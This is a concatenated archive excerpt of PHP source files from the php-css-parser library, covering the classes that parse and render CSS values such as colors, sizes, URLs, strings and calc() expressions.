                        true,
                        $oParserState->currentLine()
                    ),
                ];
            } elseif ($oParserState->strlen($sValue) === 6) {
                $aColor = [
                    'r' => new Size(intval($sValue[0] . $sValue[1], 16), null, true, $oParserState->currentLine()),
                    'g' => new Size(intval($sValue[2] . $sValue[3], 16), null, true, $oParserState->currentLine()),
                    'b' => new Size(intval($sValue[4] . $sValue[5], 16), null, true, $oParserState->currentLine()),
                ];
            } else {
                throw new UnexpectedTokenException(
                    'Invalid hex color value',
                    $sValue,
                    'custom',
                    $oParserState->currentLine()
                );
            }
        } else {
            $sColorMode = $oParserState->parseIdentifier(true);
            $oParserState->consumeWhiteSpace();
            $oParserState->consume('(');

            $bContainsVar = false;
            $iLength = $oParserState->strlen($sColorMode);
            for ($i = 0; $i < $iLength; ++$i) {
                $oParserState->consumeWhiteSpace();
                if ($oParserState->comes('var')) {
                    $aColor[$sColorMode[$i]] = CSSFunction::parseIdentifierOrFunction($oParserState);
                    $bContainsVar = true;
                } else {
                    $aColor[$sColorMode[$i]] = Size::parse($oParserState, true);
                }

                if ($bContainsVar && $oParserState->comes(')')) {
                    // With a var argument the function can have fewer arguments
                    break;
                }

                $oParserState->consumeWhiteSpace();
                if ($i < ($iLength - 1)) {
                    $oParserState->consume(',');
                }
            }
            $oParserState->consume(')');

            if ($bContainsVar) {
                return new CSSFunction($sColorMode, array_values($aColor), ',', $oParserState->currentLine());
            }
        }
        return new Color($aColor, $oParserState->currentLine());
    }

    /**
     * @param float $fVal
     * @param float $fFromMin
     * @param float $fFromMax
     * @param float $fToMin
     * @param float $fToMax
     *
     * @return float
     */
    private static function mapRange($fVal, $fFromMin, $fFromMax, $fToMin, $fToMax)
    {
        $fFromRange = $fFromMax - $fFromMin;
        $fToRange = $fToMax - $fToMin;
        $fMultiplier = $fToRange / $fFromRange;
        $fNewVal = $fVal - $fFromMin;
        $fNewVal *= $fMultiplier;
        return $fNewVal + $fToMin;
    }

    /**
     * @return array<int, RuleValueList|CSSFunction|CSSString|LineName|Size|URL|string>
     */
    public function getColor()
    {
        return $this->aComponents;
    }

    /**
     * @param array<int, RuleValueList|CSSFunction|CSSString|LineName|Size|URL|string> $aColor
     *
     * @return void
     */
    public function setColor(array $aColor)
    {
        $this->setName(implode('', array_keys($aColor)));
        $this->aComponents = $aColor;
    }

    /**
     * @return string
     */
    public function getColorDescription()
    {
        return $this->getName();
    }

    /**
     * @return string
     */
    public function __toString()
    {
        return $this->render(new OutputFormat());
    }

    /**
     * @param OutputFormat|null $oOutputFormat
     *
     * @return string
     */
    public function render($oOutputFormat)
    {
        // Shorthand RGB color values
        if ($oOutputFormat->getRGBHashNotation() && implode('', array_keys($this->aComponents)) === 'rgb') {
            $sResult = sprintf(
                '%02x%02x%02x',
                $this->aComponents['r']->getSize(),
                $this->aComponents['g']->getSize(),
                $this->aComponents['b']->getSize()
            );
            return '#' . (($sResult[0] == $sResult[1]) && ($sResult[2] == $sResult[3]) && ($sResult[4] == $sResult[5])
                    ? "$sResult[0]$sResult[2]$sResult[4]" : $sResult);
        }
        return parent::render($oOutputFormat);
    }
}
vendor/sabberworm/php-css-parser/src/Value/CalcRuleValueList.php000066600000000742151150442740020764 0ustar00<?php

namespace Sabberworm\CSS\Value;

use Sabberworm\CSS\OutputFormat;

class CalcRuleValueList extends RuleValueList
{
    /**
     * @param int $iLineNo
     */
    public function __construct($iLineNo = 0)
    {
        parent::__construct(',', $iLineNo);
    }

    /**
     * @param OutputFormat|null $oOutputFormat
     *
     * @return string
     */
    public function render($oOutputFormat)
    {
        return $oOutputFormat->implode(' ', $this->aComponents);
    }
}
vendor/sabberworm/php-css-parser/src/Value/CSSFunction.php000066600000005020151150442740017571 0ustar00<?php

namespace Sabberworm\CSS\Value;

use Sabberworm\CSS\OutputFormat;
use Sabberworm\CSS\Parsing\ParserState;

/**
 * A `CSSFunction` represents a special kind of value that also contains a function name and where the values are the
 * function’s arguments. It also handles equals-sign-separated argument lists like `filter: alpha(opacity=90);`.
 */
class CSSFunction extends ValueList
{
    /**
     * @var string
     */
    protected $sName;

    /**
     * @param string $sName
     * @param RuleValueList|array<int, RuleValueList|CSSFunction|CSSString|LineName|Size|URL|string> $aArguments
     * @param string $sSeparator
     * @param int $iLineNo
     */
    public function __construct($sName, $aArguments, $sSeparator = ',', $iLineNo = 0)
    {
        if ($aArguments instanceof RuleValueList) {
            $sSeparator = $aArguments->getListSeparator();
            $aArguments = $aArguments->getListComponents();
        }
        $this->sName = $sName;
        $this->iLineNo = $iLineNo;
        parent::__construct($aArguments, $sSeparator, $iLineNo);
    }

    /**
     * @param ParserState $oParserState
     * @param bool $bIgnoreCase
     *
     * @return CSSFunction
     *
     * @throws SourceException
     * @throws UnexpectedEOFException
     * @throws UnexpectedTokenException
     */
    public static function parse(ParserState $oParserState, $bIgnoreCase = false)
    {
        $mResult = $oParserState->parseIdentifier($bIgnoreCase);
        $oParserState->consume('(');
        $aArguments = Value::parseValue($oParserState, ['=', ' ', ',']);
        $mResult = new CSSFunction($mResult, $aArguments, ',', $oParserState->currentLine());
        $oParserState->consume(')');
        return $mResult;
    }

    /**
     * @return string
     */
    public function getName()
    {
        return $this->sName;
    }

    /**
     * @param string $sName
     *
     * @return void
     */
    public function setName($sName)
    {
        $this->sName = $sName;
    }

    /**
     * @return array<int, RuleValueList|CSSFunction|CSSString|LineName|Size|URL|string>
     */
    public function getArguments()
    {
        return $this->aComponents;
    }

    /**
     * @return string
     */
    public function __toString()
    {
        return $this->render(new OutputFormat());
    }

    /**
     * @param OutputFormat|null $oOutputFormat
     *
     * @return string
     */
    public function render($oOutputFormat)
    {
        $aArguments = parent::render($oOutputFormat);
        return "{$this->sName}({$aArguments})";
    }
}
vendor/sabberworm/php-css-parser/src/Value/ValueList.php000066600000005131151150442740017346 0ustar00<?php

namespace Sabberworm\CSS\Value;

use Sabberworm\CSS\OutputFormat;

/**
 * A `ValueList` represents a lists of `Value`s, separated by some separation character
 * (mostly `,`, whitespace, or `/`).
 *
 * There are two types of `ValueList`s: `RuleValueList` and `CSSFunction`
 */
abstract class ValueList extends Value
{
    /**
     * @var array<int, RuleValueList|CSSFunction|CSSString|LineName|Size|URL|string>
     */
    protected $aComponents;

    /**
     * @var string
     */
    protected $sSeparator;

    /**
     * phpcs:ignore Generic.Files.LineLength
     * @param array<int, RuleValueList|CSSFunction|CSSString|LineName|Size|URL|string>|RuleValueList|CSSFunction|CSSString|LineName|Size|URL|string $aComponents
     * @param string $sSeparator
     * @param int $iLineNo
     */
    public function __construct($aComponents = [], $sSeparator = ',', $iLineNo = 0)
    {
        parent::__construct($iLineNo);
        if (!is_array($aComponents)) {
            $aComponents = [$aComponents];
        }
        $this->aComponents = $aComponents;
        $this->sSeparator = $sSeparator;
    }

    /**
     * @param RuleValueList|CSSFunction|CSSString|LineName|Size|URL|string $mComponent
     *
     * @return void
     */
    public function addListComponent($mComponent)
    {
        $this->aComponents[] = $mComponent;
    }

    /**
     * @return array<int, RuleValueList|CSSFunction|CSSString|LineName|Size|URL|string>
     */
    public function getListComponents()
    {
        return $this->aComponents;
    }

    /**
     * @param array<int, RuleValueList|CSSFunction|CSSString|LineName|Size|URL|string> $aComponents
     *
     * @return void
     */
    public function setListComponents(array $aComponents)
    {
        $this->aComponents = $aComponents;
    }

    /**
     * @return string
     */
    public function getListSeparator()
    {
        return $this->sSeparator;
    }

    /**
     * @param string $sSeparator
     *
     * @return void
     */
    public function setListSeparator($sSeparator)
    {
        $this->sSeparator = $sSeparator;
    }

    /**
     * @return string
     */
    public function __toString()
    {
        return $this->render(new OutputFormat());
    }

    /**
     * @param OutputFormat|null $oOutputFormat
     *
     * @return string
     */
    public function render($oOutputFormat)
    {
        return $oOutputFormat->implode(
            $oOutputFormat->spaceBeforeListArgumentSeparator($this->sSeparator) . $this->sSeparator
            . $oOutputFormat->spaceAfterListArgumentSeparator($this->sSeparator),
            $this->aComponents
        );
    }
}
vendor/sabberworm/php-css-parser/src/Value/RuleValueList.php000066600000001054151150442740020176 0ustar00<?php

namespace Sabberworm\CSS\Value;

/**
 * This class is used to represent all multivalued rules like `font: bold 12px/3 Helvetica, Verdana, sans-serif;`
 * (where the value would be a whitespace-separated list of the primitive value `bold`, a slash-separated list
 * and a comma-separated list).
 */
class RuleValueList extends ValueList
{
    /**
     * @param string $sSeparator
     * @param int $iLineNo
     */
    public function __construct($sSeparator = ',', $iLineNo = 0)
    {
        parent::__construct([], $sSeparator, $iLineNo);
    }
}
vendor/sabberworm/php-css-parser/src/Value/URL.php000066600000004276151150442740016111 0ustar00<?php

namespace Sabberworm\CSS\Value;

use Sabberworm\CSS\OutputFormat;
use Sabberworm\CSS\Parsing\ParserState;
use Sabberworm\CSS\Parsing\SourceException;
use Sabberworm\CSS\Parsing\UnexpectedEOFException;
use Sabberworm\CSS\Parsing\UnexpectedTokenException;

/**
 * This class represents URLs in CSS. `URL`s always output in `URL("")` notation.
 */
class URL extends PrimitiveValue
{
    /**
     * @var CSSString
     */
    private $oURL;

    /**
     * @param int $iLineNo
     */
    public function __construct(CSSString $oURL, $iLineNo = 0)
    {
        parent::__construct($iLineNo);
        $this->oURL = $oURL;
    }

    /**
     * @return URL
     *
     * @throws SourceException
     * @throws UnexpectedEOFException
     * @throws UnexpectedTokenException
     */
    public static function parse(ParserState $oParserState)
    {
        $oAnchor = $oParserState->anchor();
        $sIdentifier = '';
        for ($i = 0; $i < 3; $i++) {
            $sChar = $oParserState->parseCharacter(true);
            if ($sChar === null) {
                break;
            }
            $sIdentifier .= $sChar;
        }
        $bUseUrl = $oParserState->streql($sIdentifier, 'url');
        if ($bUseUrl) {
            $oParserState->consumeWhiteSpace();
            $oParserState->consume('(');
        } else {
            $oAnchor->backtrack();
        }
        $oParserState->consumeWhiteSpace();
        $oResult = new URL(CSSString::parse($oParserState), $oParserState->currentLine());
        if ($bUseUrl) {
            $oParserState->consumeWhiteSpace();
            $oParserState->consume(')');
        }
        return $oResult;
    }

    /**
     * @return void
     */
    public function setURL(CSSString $oURL)
    {
        $this->oURL = $oURL;
    }

    /**
     * @return CSSString
     */
    public function getURL()
    {
        return $this->oURL;
    }

    /**
     * @return string
     */
    public function __toString()
    {
        return $this->render(new OutputFormat());
    }

    /**
     * @param OutputFormat|null $oOutputFormat
     *
     * @return string
     */
    public function render($oOutputFormat)
    {
        return "url({$this->oURL->render($oOutputFormat)})";
    }
}
vendor/sabberworm/php-css-parser/src/Value/CalcFunction.php000066600000010216151150442740020006 0ustar00<?php

namespace Sabberworm\CSS\Value;

use Sabberworm\CSS\Parsing\ParserState;
use Sabberworm\CSS\Parsing\UnexpectedEOFException;
use Sabberworm\CSS\Parsing\UnexpectedTokenException;

class CalcFunction extends CSSFunction
{
    /**
     * @var int
     *
     * @internal
     */
    const T_OPERAND = 1;

    /**
     * @var int
     *
     * @internal
     */
    const T_OPERATOR = 2;

    /**
     * @param ParserState $oParserState
     * @param bool $bIgnoreCase
     *
     * @return CalcFunction
     *
     * @throws UnexpectedTokenException
     * @throws UnexpectedEOFException
     */
    public static function parse(ParserState $oParserState, $bIgnoreCase = false)
    {
        $aOperators = ['+', '-', '*', '/'];
        $sFunction = $oParserState->parseIdentifier();
        if ($oParserState->peek() != '(') {
            // Found ; or end of line before an opening bracket
            throw new UnexpectedTokenException('(', $oParserState->peek(), 'literal', $oParserState->currentLine());
        } elseif (!in_array($sFunction, ['calc', '-moz-calc', '-webkit-calc'])) {
            // Found invalid calc definition. Example calc (...
            throw new UnexpectedTokenException('calc', $sFunction, 'literal', $oParserState->currentLine());
        }
        $oParserState->consume('(');
        $oCalcList = new CalcRuleValueList($oParserState->currentLine());
        $oList = new RuleValueList(',', $oParserState->currentLine());
        $iNestingLevel = 0;
        $iLastComponentType = null;
        while (!$oParserState->comes(')') || $iNestingLevel > 0) {
            if ($oParserState->isEnd() && $iNestingLevel === 0) {
                break;
            }

            $oParserState->consumeWhiteSpace();
            if ($oParserState->comes('(')) {
                $iNestingLevel++;
                $oCalcList->addListComponent($oParserState->consume(1));
                $oParserState->consumeWhiteSpace();
                continue;
            } elseif ($oParserState->comes(')')) {
                $iNestingLevel--;
                $oCalcList->addListComponent($oParserState->consume(1));
                $oParserState->consumeWhiteSpace();
                continue;
            }
            if ($iLastComponentType != CalcFunction::T_OPERAND) {
                $oVal = Value::parsePrimitiveValue($oParserState);
                $oCalcList->addListComponent($oVal);
                $iLastComponentType = CalcFunction::T_OPERAND;
            } else {
                if (in_array($oParserState->peek(), $aOperators)) {
                    if (($oParserState->comes('-') || $oParserState->comes('+'))) {
                        if (
                            $oParserState->peek(1, -1) != ' '
                            || !($oParserState->comes('- ')
                                || $oParserState->comes('+ '))
                        ) {
                            throw new UnexpectedTokenException(
                                " {$oParserState->peek()} ",
                                $oParserState->peek(1, -1) . $oParserState->peek(2),
                                'literal',
                                $oParserState->currentLine()
                            );
                        }
                    }
                    $oCalcList->addListComponent($oParserState->consume(1));
                    $iLastComponentType = CalcFunction::T_OPERATOR;
                } else {
                    throw new UnexpectedTokenException(
                        sprintf(
                            'Next token was expected to be an operand of type %s. Instead "%s" was found.',
                            implode(', ', $aOperators),
                            $oParserState->peek()
                        ),
                        '',
                        'custom',
                        $oParserState->currentLine()
                    );
                }
            }
            $oParserState->consumeWhiteSpace();
        }
        $oList->addListComponent($oCalcList);
        if (!$oParserState->isEnd()) {
            $oParserState->consume(')');
        }
        return new CalcFunction($sFunction, $oList, ',', $oParserState->currentLine());
    }
}
vendor/sabberworm/php-css-parser/src/Value/CSSString.php000066600000005536151150442740017266 0ustar00<?php

namespace Sabberworm\CSS\Value;

use Sabberworm\CSS\OutputFormat;
use Sabberworm\CSS\Parsing\ParserState;
use Sabberworm\CSS\Parsing\SourceException;
use Sabberworm\CSS\Parsing\UnexpectedEOFException;
use Sabberworm\CSS\Parsing\UnexpectedTokenException;

/**
 * This class is a wrapper for quoted strings to distinguish them from keywords.
 *
 * `CSSString`s always output with double quotes.
 */
class CSSString extends PrimitiveValue
{
    /**
     * @var string
     */
    private $sString;

    /**
     * @param string $sString
     * @param int $iLineNo
     */
    public function __construct($sString, $iLineNo = 0)
    {
        $this->sString = $sString;
        parent::__construct($iLineNo);
    }

    /**
     * @return CSSString
     *
     * @throws SourceException
     * @throws UnexpectedEOFException
     * @throws UnexpectedTokenException
     */
    public static function parse(ParserState $oParserState)
    {
        $sBegin = $oParserState->peek();
        $sQuote = null;
        if ($sBegin === "'") {
            $sQuote = "'";
        } elseif ($sBegin === '"') {
            $sQuote = '"';
        }
        if ($sQuote !== null) {
            $oParserState->consume($sQuote);
        }
        $sResult = "";
        $sContent = null;
        if ($sQuote === null) {
            // Unquoted strings end in whitespace or with braces, brackets, parentheses
            while (!preg_match('/[\\s{}()<>\\[\\]]/isu', $oParserState->peek())) {
                $sResult .= $oParserState->parseCharacter(false);
            }
        } else {
            while (!$oParserState->comes($sQuote)) {
                $sContent = $oParserState->parseCharacter(false);
                if ($sContent === null) {
                    throw new SourceException(
                        "Non-well-formed quoted string {$oParserState->peek(3)}",
                        $oParserState->currentLine()
                    );
                }
                $sResult .= $sContent;
            }
            $oParserState->consume($sQuote);
        }
        return new CSSString($sResult, $oParserState->currentLine());
    }

    /**
     * @param string $sString
     *
     * @return void
     */
    public function setString($sString)
    {
        $this->sString = $sString;
    }

    /**
     * @return string
     */
    public function getString()
    {
        return $this->sString;
    }

    /**
     * @return string
     */
    public function __toString()
    {
        return $this->render(new OutputFormat());
    }

    /**
     * @param OutputFormat|null $oOutputFormat
     *
     * @return string
     */
    public function render($oOutputFormat)
    {
        $sString = addslashes($this->sString);
        $sString = str_replace("\n", '\A', $sString);
        return $oOutputFormat->getStringQuotingType() . $sString . $oOutputFormat->getStringQuotingType();
    }
}
vendor/sabberworm/php-css-parser/src/Value/LineName.php000066600000003462151150442740017133 0ustar00<?php

namespace Sabberworm\CSS\Value;

use Sabberworm\CSS\OutputFormat;
use Sabberworm\CSS\Parsing\ParserState;
use Sabberworm\CSS\Parsing\UnexpectedEOFException;
use Sabberworm\CSS\Parsing\UnexpectedTokenException;

class LineName extends ValueList
{
    /**
     * @param array<int, RuleValueList|CSSFunction|CSSString|LineName|Size|URL|string> $aComponents
     * @param int $iLineNo
     */
    public function __construct(array $aComponents = [], $iLineNo = 0)
    {
        parent::__construct($aComponents, ' ', $iLineNo);
    }

    /**
     * @return LineName
     *
     * @throws UnexpectedTokenException
     * @throws UnexpectedEOFException
     */
    public static function parse(ParserState $oParserState)
    {
        $oParserState->consume('[');
        $oParserState->consumeWhiteSpace();
        $aNames = [];
        do {
            if ($oParserState->getSettings()->bLenientParsing) {
                try {
                    $aNames[] = $oParserState->parseIdentifier();
                } catch (UnexpectedTokenException $e) {
                    if (!$oParserState->comes(']')) {
                        throw $e;
                    }
                }
            } else {
                $aNames[] = $oParserState->parseIdentifier();
            }
            $oParserState->consumeWhiteSpace();
        } while (!$oParserState->comes(']'));
        $oParserState->consume(']');
        return new LineName($aNames, $oParserState->currentLine());
    }

    /**
     * @return string
     */
    public function __toString()
    {
        return $this->render(new OutputFormat());
    }

    /**
     * @param OutputFormat|null $oOutputFormat
     *
     * @return string
     */
    public function render($oOutputFormat)
    {
        return '[' . parent::render(OutputFormat::createCompact()) . ']';
    }
}
vendor/sabberworm/php-css-parser/src/Value/Size.php000066600000013641151150442740016355 0ustar00<?php

namespace Sabberworm\CSS\Value;

use Sabberworm\CSS\OutputFormat;
use Sabberworm\CSS\Parsing\ParserState;
use Sabberworm\CSS\Parsing\UnexpectedEOFException;
use Sabberworm\CSS\Parsing\UnexpectedTokenException;

/**
 * A `Size` consists of a numeric `size` value and a unit.
 */
class Size extends PrimitiveValue
{
    /**
     * vh/vw/vm(ax)/vmin/rem are absolute insofar as they don’t scale to the immediate parent (only the viewport)
     *
     * @var array<int, string>
     *
     * @internal
     */
    const ABSOLUTE_SIZE_UNITS = [
        'px', 'pt', 'pc',
        'cm', 'mm', 'mozmm', 'in',
        'vh', 'dvh', 'svh', 'lvh',
        'vw', 'vmin', 'vmax', 'rem',
    ];

    /**
     * @var array<int, string>
     *
     * @internal
     */
    const RELATIVE_SIZE_UNITS = ['%', 'em', 'ex', 'ch', 'fr'];

    /**
     * @var array<int, string>
     *
     * @internal
     */
    const NON_SIZE_UNITS = ['deg', 'grad', 'rad', 's', 'ms', 'turn', 'Hz', 'kHz'];

    /**
     * @var array<int, array<string, string>>|null
     */
    private static $SIZE_UNITS = null;

    /**
     * @var float
     */
    private $fSize;

    /**
     * @var string|null
     */
    private $sUnit;

    /**
     * @var bool
     */
    private $bIsColorComponent;

    /**
     * @param float|int|string $fSize
     * @param string|null $sUnit
     * @param bool $bIsColorComponent
     * @param int $iLineNo
     */
    public function __construct($fSize, $sUnit = null, $bIsColorComponent = false, $iLineNo = 0)
    {
        parent::__construct($iLineNo);
        $this->fSize = (float)$fSize;
        $this->sUnit = $sUnit;
        $this->bIsColorComponent = $bIsColorComponent;
    }

    /**
     * @param bool $bIsColorComponent
     *
     * @return Size
     *
     * @throws UnexpectedEOFException
     * @throws UnexpectedTokenException
     */
    public static function parse(ParserState $oParserState, $bIsColorComponent = false)
    {
        $sSize = '';
        if ($oParserState->comes('-')) {
            $sSize .= $oParserState->consume('-');
        }
        while (is_numeric($oParserState->peek()) || $oParserState->comes('.') || $oParserState->comes('e', true)) {
            if ($oParserState->comes('.')) {
                $sSize .= $oParserState->consume('.');
            } elseif ($oParserState->comes('e', true)) {
                $sLookahead = $oParserState->peek(1, 1);
                if (is_numeric($sLookahead) || $sLookahead === '+' || $sLookahead === '-') {
                    $sSize .= $oParserState->consume(2);
                } else {
                    break; // Reached the unit part of the number like "em" or "ex"
                }
            } else {
                $sSize .= $oParserState->consume(1);
            }
        }

        $sUnit = null;
        $aSizeUnits = self::getSizeUnits();
        foreach ($aSizeUnits as $iLength => &$aValues) {
            $sKey = strtolower($oParserState->peek($iLength));
            if (array_key_exists($sKey, $aValues)) {
                if (($sUnit = $aValues[$sKey]) !== null) {
                    $oParserState->consume($iLength);
                    break;
                }
            }
        }
        return new Size((float)$sSize, $sUnit, $bIsColorComponent, $oParserState->currentLine());
    }

    /**
     * @return array<int, array<string, string>>
     */
    private static function getSizeUnits()
    {
        if (!is_array(self::$SIZE_UNITS)) {
            self::$SIZE_UNITS = [];
            foreach (array_merge(self::ABSOLUTE_SIZE_UNITS, self::RELATIVE_SIZE_UNITS, self::NON_SIZE_UNITS) as $val) {
                $iSize = strlen($val);
                if (!isset(self::$SIZE_UNITS[$iSize])) {
                    self::$SIZE_UNITS[$iSize] = [];
                }
                self::$SIZE_UNITS[$iSize][strtolower($val)] = $val;
            }

            krsort(self::$SIZE_UNITS, SORT_NUMERIC);
        }

        return self::$SIZE_UNITS;
    }

    /**
     * @param string $sUnit
     *
     * @return void
     */
    public function setUnit($sUnit)
    {
        $this->sUnit = $sUnit;
    }

    /**
     * @return string|null
     */
    public function getUnit()
    {
        return $this->sUnit;
    }

    /**
     * @param float|int|string $fSize
     */
    public function setSize($fSize)
    {
        $this->fSize = (float)$fSize;
    }

    /**
     * @return float
     */
    public function getSize()
    {
        return $this->fSize;
    }

    /**
     * @return bool
     */
    public function isColorComponent()
    {
        return $this->bIsColorComponent;
    }

    /**
     * Returns whether the number stored in this Size really represents a size (as in a length of something on screen).
     *
     * @return false if the unit an angle, a duration, a frequency or the number is a component in a Color object.
     */
    public function isSize()
    {
        if (in_array($this->sUnit, self::NON_SIZE_UNITS, true)) {
            return false;
        }
        return !$this->isColorComponent();
    }

    /**
     * @return bool
     */
    public function isRelative()
    {
        if (in_array($this->sUnit, self::RELATIVE_SIZE_UNITS, true)) {
            return true;
        }
        if ($this->sUnit === null && $this->fSize != 0) {
            return true;
        }
        return false;
    }

    /**
     * @return string
     */
    public function __toString()
    {
        return $this->render(new OutputFormat());
    }

    /**
     * @param OutputFormat|null $oOutputFormat
     *
     * @return string
     */
    public function render($oOutputFormat)
    {
        $l = localeconv();
        $sPoint = preg_quote($l['decimal_point'], '/');
        $sSize = preg_match("/[\d\.]+e[+-]?\d+/i", (string)$this->fSize)
            ? preg_replace("/$sPoint?0+$/", "", sprintf("%f", $this->fSize)) : (string)$this->fSize;
        return preg_replace(["/$sPoint/", "/^(-?)0\./"], ['.', '$1.'], $sSize)
            . ($this->sUnit === null ? '' : $this->sUnit);
    }
}
vendor/sabberworm/php-css-parser/src/Value/PrimitiveValue.php000066600000000344151150442740020404 0ustar00<?php

namespace Sabberworm\CSS\Value;

abstract class PrimitiveValue extends Value
{
    /**
     * @param int $iLineNo
     */
    public function __construct($iLineNo = 0)
    {
        parent::__construct($iLineNo);
    }
}
vendor/sabberworm/php-css-parser/src/Value/Value.php000066600000017525151150442740016524 0ustar00<?php

namespace Sabberworm\CSS\Value;

use Sabberworm\CSS\Parsing\ParserState;
use Sabberworm\CSS\Parsing\SourceException;
use Sabberworm\CSS\Parsing\UnexpectedEOFException;
use Sabberworm\CSS\Parsing\UnexpectedTokenException;
use Sabberworm\CSS\Renderable;

/**
 * Abstract base class for specific classes of CSS values: `Size`, `Color`, `CSSString` and `URL`, and another
 * abstract subclass `ValueList`.
 */
abstract class Value implements Renderable
{
    /**
     * @var int
     */
    protected $iLineNo;

    /**
     * @param int $iLineNo
     */
    public function __construct($iLineNo = 0)
    {
        $this->iLineNo = $iLineNo;
    }

    /**
     * @param array<array-key, string> $aListDelimiters
     *
     * @return RuleValueList|CSSFunction|CSSString|LineName|Size|URL|string
     *
     * @throws UnexpectedTokenException
     * @throws UnexpectedEOFException
     */
    public static function parseValue(ParserState $oParserState, array $aListDelimiters = [])
    {
        /** @var array<int, RuleValueList|CSSFunction|CSSString|LineName|Size|URL|string> $aStack */
        $aStack = [];
        $oParserState->consumeWhiteSpace();
        //Build a list of delimiters and parsed values
        while (
            !($oParserState->comes('}') || $oParserState->comes(';') || $oParserState->comes('!')
                || $oParserState->comes(')')
                || $oParserState->comes('\\')
                || $oParserState->isEnd())
        ) {
            if (count($aStack) > 0) {
                $bFoundDelimiter = false;
                foreach ($aListDelimiters as $sDelimiter) {
                    if ($oParserState->comes($sDelimiter)) {
                        array_push($aStack, $oParserState->consume($sDelimiter));
                        $oParserState->consumeWhiteSpace();
                        $bFoundDelimiter = true;
                        break;
                    }
                }
                if (!$bFoundDelimiter) {
                    //Whitespace was the list delimiter
                    array_push($aStack, ' ');
                }
            }
            array_push($aStack, self::parsePrimitiveValue($oParserState));
            $oParserState->consumeWhiteSpace();
        }
        // Convert the list to list objects
        foreach ($aListDelimiters as $sDelimiter) {
            $iStackLength = count($aStack);
            if ($iStackLength === 1) {
                return $aStack[0];
            }
            $aNewStack = [];
            for ($iStartPosition = 0; $iStartPosition < $iStackLength; ++$iStartPosition) {
                if ($iStartPosition === ($iStackLength - 1) || $sDelimiter !== $aStack[$iStartPosition + 1]) {
                    $aNewStack[] = $aStack[$iStartPosition];
                    continue;
                }
                $iLength = 2; //Number of elements to be joined
                for ($i = $iStartPosition + 3; $i < $iStackLength; $i += 2, ++$iLength) {
                    if ($sDelimiter !== $aStack[$i]) {
                        break;
                    }
                }
                $oList = new RuleValueList($sDelimiter, $oParserState->currentLine());
                for ($i = $iStartPosition; $i - $iStartPosition < $iLength * 2; $i += 2) {
                    $oList->addListComponent($aStack[$i]);
                }
                $aNewStack[] = $oList;
                $iStartPosition += $iLength * 2 - 2;
            }
            $aStack = $aNewStack;
        }
        if (!isset($aStack[0])) {
            throw new UnexpectedTokenException(
                " {$oParserState->peek()} ",
                $oParserState->peek(1, -1) . $oParserState->peek(2),
                'literal',
                $oParserState->currentLine()
            );
        }
        return $aStack[0];
    }

    /**
     * @param bool $bIgnoreCase
     *
     * @return CSSFunction|string
     *
     * @throws UnexpectedEOFException
     * @throws UnexpectedTokenException
     */
    public static function parseIdentifierOrFunction(ParserState $oParserState, $bIgnoreCase = false)
    {
        $oAnchor = $oParserState->anchor();
        $mResult = $oParserState->parseIdentifier($bIgnoreCase);

        if ($oParserState->comes('(')) {
            $oAnchor->backtrack();
            if ($oParserState->streql('url', $mResult)) {
                $mResult = URL::parse($oParserState);
            } elseif (
                $oParserState->streql('calc', $mResult)
                || $oParserState->streql('-webkit-calc', $mResult)
                || $oParserState->streql('-moz-calc', $mResult)
            ) {
                $mResult = CalcFunction::parse($oParserState);
            } else {
                $mResult = CSSFunction::parse($oParserState, $bIgnoreCase);
            }
        }

        return $mResult;
    }

    /**
     * @return CSSFunction|CSSString|LineName|Size|URL|string
     *
     * @throws UnexpectedEOFException
     * @throws UnexpectedTokenException
     * @throws SourceException
     */
    public static function parsePrimitiveValue(ParserState $oParserState)
    {
        $oValue = null;
        $oParserState->consumeWhiteSpace();
        if (
            is_numeric($oParserState->peek())
            || ($oParserState->comes('-.')
                && is_numeric($oParserState->peek(1, 2)))
            || (($oParserState->comes('-') || $oParserState->comes('.')) && is_numeric($oParserState->peek(1, 1)))
        ) {
            $oValue = Size::parse($oParserState);
        } elseif ($oParserState->comes('#') || $oParserState->comes('rgb', true) || $oParserState->comes('hsl', true)) {
            $oValue = Color::parse($oParserState);
        } elseif ($oParserState->comes("'") || $oParserState->comes('"')) {
            $oValue = CSSString::parse($oParserState);
        } elseif ($oParserState->comes("progid:") && $oParserState->getSettings()->bLenientParsing) {
            $oValue = self::parseMicrosoftFilter($oParserState);
        } elseif ($oParserState->comes("[")) {
            $oValue = LineName::parse($oParserState);
        } elseif ($oParserState->comes("U+")) {
            $oValue = self::parseUnicodeRangeValue($oParserState);
        } else {
            $sNextChar = $oParserState->peek(1);
            try {
                $oValue = self::parseIdentifierOrFunction($oParserState);
            } catch (UnexpectedTokenException $e) {
                if (\in_array($sNextChar, ['+', '-', '*', '/'], true)) {
                    $oValue = $oParserState->consume(1);
                } else {
                    throw $e;
                }
            }
        }
        $oParserState->consumeWhiteSpace();
        return $oValue;
    }

    /**
     * @return CSSFunction
     *
     * @throws UnexpectedEOFException
     * @throws UnexpectedTokenException
     */
    private static function parseMicrosoftFilter(ParserState $oParserState)
    {
        $sFunction = $oParserState->consumeUntil('(', false, true);
        $aArguments = Value::parseValue($oParserState, [',', '=']);
        return new CSSFunction($sFunction, $aArguments, ',', $oParserState->currentLine());
    }

    /**
     * @return string
     *
     * @throws UnexpectedEOFException
     * @throws UnexpectedTokenException
     */
    private static function parseUnicodeRangeValue(ParserState $oParserState)
    {
        $iCodepointMaxLength = 6; // Code points outside BMP can use up to six digits
        $sRange = "";
        $oParserState->consume("U+");
        do {
            if ($oParserState->comes('-')) {
                $iCodepointMaxLength = 13; // Max length is 2 six digit code points + the dash(-) between them
            }
            $sRange .= $oParserState->consume(1);
        } while (strlen($sRange) < $iCodepointMaxLength && preg_match("/[A-Fa-f0-9\?-]/", $oParserState->peek()));
        return "U+{$sRange}";
    }

    /**
     * @return int
     */
    public function getLineNo()
    {
        return $this->iLineNo;
    }
}
vendor/sabberworm/php-css-parser/src/Property/AtRule.php000066600000001551151150442740017404 0ustar00<?php

namespace Sabberworm\CSS\Property;

use Sabberworm\CSS\Comment\Commentable;
use Sabberworm\CSS\Renderable;

interface AtRule extends Renderable, Commentable
{
    /**
     * Since there are more set rules than block rules,
     * we’re whitelisting the block rules and have anything else be treated as a set rule.
     *
     * @var string
     *
     * @internal since 8.5.2
     */
    const BLOCK_RULES = 'media/document/supports/region-style/font-feature-values';

    /**
     * … and more font-specific ones (to be used inside font-feature-values)
     *
     * @var string
     *
     * @internal since 8.5.2
     */
    const SET_RULES = 'font-face/counter-style/page/swash/styleset/annotation';

    /**
     * @return string|null
     */
    public function atRuleName();

    /**
     * @return string|null
     */
    public function atRuleArgs();
}
vendor/sabberworm/php-css-parser/src/Property/Selector.php000066600000006677151150442740020006 0ustar00<?php

